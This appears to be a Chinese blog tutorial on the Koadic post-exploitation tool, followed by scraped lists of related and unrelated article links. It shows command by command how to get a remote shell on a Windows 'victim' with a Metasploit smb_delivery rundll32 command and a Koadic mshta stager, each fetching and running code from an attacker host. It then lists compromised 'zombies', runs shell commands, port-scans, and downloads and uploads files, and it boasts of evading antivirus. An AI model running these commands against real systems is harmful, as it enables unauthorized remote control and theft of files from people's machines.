koadic是DEFCON黑客大会上分享出来的的一个后渗透工具，虽然和msf有些相似，但是Koadic主要是通过使用Windows ScriptHost（也称为JScript / VBScript）进行大部分的操作，其核心兼容性支持WindowsXP到Window 10的环境中使用，Koadic的相比于其他的后门程序来说更轻便，该工具通过调用系统的一些命令来完成Shell的反弹工作，因为调用的是系统的模块，所以天生免杀。你只需要在目标主机上执行一条命令，即可完全控制目标主机，该工具在圈内有一个别名：大宝剑，对于一个热衷于后渗透测试的人员来说，算的上是，"居家旅行，杀人越货"必备良品了！

再开始使用Koadic之前，我们先通过使用smb_delivery完成一次反弹。要使用此方法，我们先来通过MSF来启动一个服务。

msf5 > use exploit/windows/smb/smb_delivery

msf5 exploit(windows/smb/smb_delivery) > set srvhost 192.168.1.40

srvhost => 192.168.1.40

msf5 exploit(windows/smb/smb_delivery) > exploit -j -z

[*] Exploit running as background job 0.

[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 192.168.1.40:4444

[*] Started service listener on 192.168.1.40:445

[*] Server started.

[*] Run the following command on the target machine:

rundll32.exe \\192.168.1.40\aCxwTB\test.dll,0

我们记下上方的上线地址，rundll32.exe \192.168.1.40\aCxwTB\test.dll,0 ，然后在被害主机执行此命令，然后Kali成功上线，并且杀软没有报毒。

Microsoft Windows [版本 10.0.17763.316]

(c) 2018 Microsoft Corporation。保留所有权利。

C:\Users\lyshark>rundll32.exe \\192.168.1.40\aCxwTB\test.dll,0

1.好了，进入正题，默认情况下Koadic工具并没有安装在Kali系统中，我们需要手动下载并安装。

root@kali:~#  git clone https://github.com/zerosum0x0/koadic.git

root@kali:~#  cd koadic/

root@kali:~#  chmod 755 -R *

root@kali:~#  pip3 install -r requirements.txt

root@kali:~#  python3 koadic

                            .

                           / \

     _                   _ | |

    | | _____   __ _  __| || |  ___

    | |/ / _ \ / _` |/ _` ||.| / __|

    |   / (o) | (_| | (_| ||.|| (__

    |_|\_\_^_/ \__,_|\__,_||:| \___|

                           |:|

                        ~\==8==/~

                            8

                            O

(koadic: sta/js/mshta)#

2.接着我们就使用一个攻击载荷，这里面有三个比较不错的载荷分别是，stager/js/mshta，stager/js/regsvr，stager/js/rundll32_js，我们以第一个载荷为例。

(koadic: sta/js/mshta)# use stager/js/mshta

(koadic: sta/js/mshta)# set lhost 192.168.1.40

[+] LHOST => 192.168.1.40

(koadic: sta/js/mshta)# run

[+] Spawned a stager at http://192.168.1.40:9999/A324A

[!] Don't edit this URL! (See: 'help portfwd')

[>] mshta http://192.168.1.40:9999/A324A

3.执行完以后，会弹出 mshta http://192.168.1.40:9999/A324A 记下这条命令，并去受害主机执行。

Microsoft Windows [版本 10.0.17763.316]

(c) 2018 Microsoft Corporation。保留所有权利。

C:\Users\lyshark>mshta http://192.168.1.40:9999/A324A

4.成功反弹Shell以后，我们可以使用 zombies 命令查看所以的受害僵尸主机。

[+] Zombie 0: Staging new connection (192.168.1.2)

[+] Zombie 0: DESKTOP-SKVC\lyshark* @ DESKTOP-SKVC -- Windows 10 Enterprise LTSC 2019

(koadic: sta/js/mshta)# zombies

	ID   IP              STATUS  LAST SEEN

	---  ---------       ------- ------------

	0*   192.168.1.2     Alive   2019-08-12 20:09:24

Use "zombies ID" for detailed information about a session.

Use "zombies IP" for sessions on a particular host.

Use "zombies DOMAIN" for sessions on a particular Windows domain.

Use "zombies killed" for sessions that have been manually killed.

zombies后方添加编号，可以查看具体主机的详细情况。

(koadic: sta/js/mshta)# zombies 0

	ID:                     0

	Status:                 Alive

	First Seen:             2019-08-12 20:08:37

	Last Seen:              2019-08-12 20:11:24

	Listener:               0                               

	IP:                     192.168.1.2

	User:                   DESKTOP-SKVC\lyshark*

	Hostname:               DESKTOP-SKVC

	Primary DC:             Unknown

	OS:                     Windows 10 Enterprise LTSC 2019

	OSBuild:                17763

	OSArch:                 64

	Elevated:               YES!                            

	User Agent:             Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0;)

	Session Key:            316d78e7a8239880

	JOB  NAME                            STATUS    ERRNO

	---- ---------                       -------   -------

5.如果需要执行CMD命令可以使用cmd_shell，如下。

(koadic: sta/js/mshta)# cmdshell 0

[koadic: ZOMBIE 0 (192.168.1.2) - C:\Users\lyshark]> ipconfig

[*] Zombie 0: Job 0 (implant/manage/exec_cmd) created.

Result for `cd C:\Users\lyshark & ipconfig`:          

Windows IP 配置

网适配器 WLAN:

   媒体状态  . . . . . . . . . . . . : 媒体已断开连接

   连接特定的 DNS 后缀 . . . . . . . :

6.也可以扫描本台主机端口的开放情况。

(koadic: sta/js/mshta)# use implant/scan/tcp

(koadic: imp/sca/tcp)# info

	NAME        VALUE               REQ     DESCRIPTION

	-----       ------------        ----    -------------

	RHOSTS                          yes     name/IP of the remotes

	RPORTS      22,80,135,139,44... yes     ports to scan

	TIMEOUT     2                   yes     longer is more accurate

	CHECKLIVE   true                yes     check if host is up before checking ports

	ZOMBIE      ALL                 yes     the zombie to target

(koadic: imp/sca/tcp)# set RHOSTS 192.168.1.2

[+] RHOSTS => 192.168.1.2

(koadic: imp/sca/tcp)# run

[*] Zombie 0: Job 1 (implant/scan/tcp) created.

[*] Zombie 0: Job 1 (implant/scan/tcp) 192.168.1.2         22        closed     80072efd

[*] Zombie 0: Job 1 (implant/scan/tcp) 192.168.1.2         80        closed     80072efd

[+] Zombie 0: Job 1 (implant/scan/tcp) 192.168.1.2         135       open       00000000

[+] Zombie 0: Job 1 (implant/scan/tcp) 192.168.1.2         139       open       80072f78

[*] Zombie 0: Job 1 (implant/scan/tcp) 192.168.1.2         443       closed     80072efd

[+] Zombie 0: Job 1 (implant/scan/tcp) 192.168.1.2         445       open       80072efe

[*] Zombie 0: Job 1 (implant/scan/tcp) 192.168.1.2         3389      closed     80072efd

[+] Zombie 0: Job 1 (implant/scan/tcp) completed.

7.从僵尸主机上面下载一个文件，可以使用 implant/util/download_file 模块。

(koadic: imp/sca/tcp)# use implant/util/download_file

(koadic: imp/uti/download_file)#

(koadic: imp/uti/download_file)# info

	NAME        VALUE               REQ     DESCRIPTION

	-----       ------------        ----    -------------

	LPATH       /tmp/               yes     local file save path

	RFILE                           no      remote file to get

	RFILELIST                       no      file containing line-seperated file names to download

	CHUNKSIZE   10000000            yes     size in bytes (kind of) of chunks to save, helps avoid MemoryError exceptions

	CERTUTIL    false               yes     use certutil to base64 encode the file before downloading

	ZOMBIE      ALL                 yes     the zombie to target

(koadic: imp/uti/download_file)# set zombie 0

[+] ZOMBIE => 0

(koadic: imp/uti/download_file)# set rfile c:\lyshark.exe

[+] RFILE => c:\lyshark.exe

(koadic: imp/uti/download_file)# run

[*] Zombie 0: Job 4 (implant/util/download_file) created.

[+] Zombie 0: Job 4 (implant/util/download_file) completed.

[+] c:\lyshark.exe saved to /tmp/lyshark.exe (940602 bytes)

8.上传文件则可以使用，implant/util/upload_file 这个模块。

(koadic: imp/uti/download_file)# use implant/util/upload_file

(koadic: imp/uti/upload_file)#

(koadic: imp/uti/upload_file)# info

	NAME        VALUE               REQ     DESCRIPTION

	-----       ------------        ----    -------------

	LFILE                           yes     local file to upload

	DIRECTORY   %TEMP%              no      writeable directory

	ZOMBIE      ALL                 yes     the zombie to target

(koadic: imp/uti/upload_file)# set zombie 0

[+] ZOMBIE => 0

(koadic: imp/uti/upload_file)# set lfile /tmp/lyshark.exe

[+] LFILE => /tmp/lyshark.exe

(koadic: imp/uti/upload_file)# run

[*] Zombie 0: Job 5 (implant/util/upload_file) created.

[+] Zombie 0: Job 5 (implant/util/upload_file) completed.

有趣的后渗透工具 Koadic的更多相关文章

  1. 带你了解后渗透工具Koadic

    前言: 在朋友的博客上看到推荐的一款工具Koadic,我接触了以后发现很不错这款工具的强大之处我觉得就是拿到shell后的各种模块功能,我就自己写出来发给大家看看吧. 首先把项目克隆到本地: 项目地址 ...

  2. 后渗透工具Empire使用教程

    一.前言 Empire是一个PowerShell后期漏洞利用代理工具同时也是一款很强大的后渗透测神器,它建立在密码学.安全通信和灵活的架构之上.Empire实现了无需powershell.exe就可运 ...

  3. iOS macOS的后渗透利用工具：EggShell

    EggShell是一款基于Python编写的iOS和macOS的后渗透利用工具.它有点类似于metasploit,我们可以用它来创建payload建立侦听.此外,在反弹回的session会话也为我们提 ...

  4. Enumy：一款功能强大的Linux后渗透提权枚举工具

    Enumy是一款功能强大的Linux后渗透提权枚举工具,该工具是一个速度非常快的可移植可执行文件,广大研究人员可以在针对Linux设备的渗透测试以及CTF的后渗透阶段利用该工具实现权限提升,而Enum ...

  5. 渗透攻防工具篇-后渗透阶段的Meterpreter

    作者:坏蛋链接:https://zhuanlan.zhihu.com/p/23677530来源:知乎著作权归作者所有.商业转载请联系作者获得授权,非商业转载请注明出处. 前言 熟悉Metasploit ...

  6. 后渗透提权辅助工具BeRoot详解

    0x00 工具介绍 前言 BeRoot是一个后期开发工具,用于检查常见的Windows的配置错误,以方便找到提高我们提权的方法.其二进制编译地址为: https://github.com/Alessa ...

  7. Metasploit Framework（8）后渗透测试（一）

    文章的格式也许不是很好看,也没有什么合理的顺序 完全是想到什么写一些什么,但各个方面都涵盖到了 能耐下心看的朋友欢迎一起学习,大牛和杠精们请绕道 使用场景: Kali机器IP:192.168.163. ...

  8. 攻击者利用的Windows命令、横向渗透工具分析结果列表

    横向渗透工具分析结果列表 https://jpcertcc.github.io/ToolAnalysisResultSheet/ 攻击者利用的Windows命令 https://blogs.jpcer ...

  9. 对"某V皮"N服务器节点的一次后渗透测试

    i春秋作家:jasonx 前言:由于这个VPN节点服务器是之前拿到的,一直没时间做进一步渗透,昨天看到我蛋总表哥发红包,然后我运气爆表抢了个运气王,再加上好久没发文章了,所以就抽空测试下咯. 0×01 ...

随机推荐

  1. MySQL：数据库名或者数据表名包含-

    [参考文章]:mysql数据库名称中包含短横线的对应方式 1. 现象 命令行下操作 名称包含 " - " 数据库或者数据表时,语句执行报错: 2. 解决方案: 使用 `` 字符(E ...

  2. 冲刺阶段——Day1

    [成员分工及任务量] 成员 分工 任务量(小时) 王梓鸿 完成页面设计并编写输入输出图形界面,部分代码测试 20 童皓祯 编写注册和登录模块代码,部分代码测试 20 林郅聪 绘制燃尽图,程序功能整合及 ...

  3. DSSM算法-计算文本相似度

    转载请注明出处: http://blog.csdn.net/u013074302/article/details/76422551 导语 在NLP领域,语义相似度的计算一直是个难题:搜索场景下quer ...

  4. benchmark在postgresql上的安装及使用

     BenchmarkSQL是一款经典的开源数据库测试工具,内嵌了TPCC测试脚本,可以对EnterpriseDB.PostgreSQL.MySQL.Oracle以及SQL Server等数据库直接进行 ...

  5. 50行代码写的一个插件，破解一个H5小游戏

    小游戏链接:测测你的眼睛对色差的辨识度http://www.webhek.com/post/color-test.html?from=timeline 废话不多说,先放代码: window.onloa ...

  6. 使用pycharm发布python程序到ubuntu中运行

    前提条件: 1.ubuntu安装了vsftpd,可以参考:https://www.cnblogs.com/xienb/p/9322805.html 2.安装专业版pycharm 步骤: 1.新建一个P ...

  7. 【MYSQL】存储过程示例

    GROUPEMP_EXISTS: ), ), )) LANGUAGE SQL NOT DETERMINISTIC CONTAINS SQL SQL SECURITY DEFINER COMMENT ' ...

  8. WPF 设置TextBox为空时，背景为文字提示。

    <TextBox FontSize="> <TextBox.Resources> <VisualBrush x:Key="HelpBrush" ...

  9. Spring事务管理5-----声明式事务管理（3）

    声明式事务管理  基于注解 在配置文件中需要开启注解驱动<tx:annotation-driven transaction-manager="transactionManager&qu ...

  10. pyenv激活虚拟环境失败

    在使用 pyenv 版本管理工具时激活虚拟环境报错 $ pyenv virtualenvs  #列出当前虚拟环境 $ pyenv activate env-3.6.0 #激活虚拟环境 报错信息: Fa ...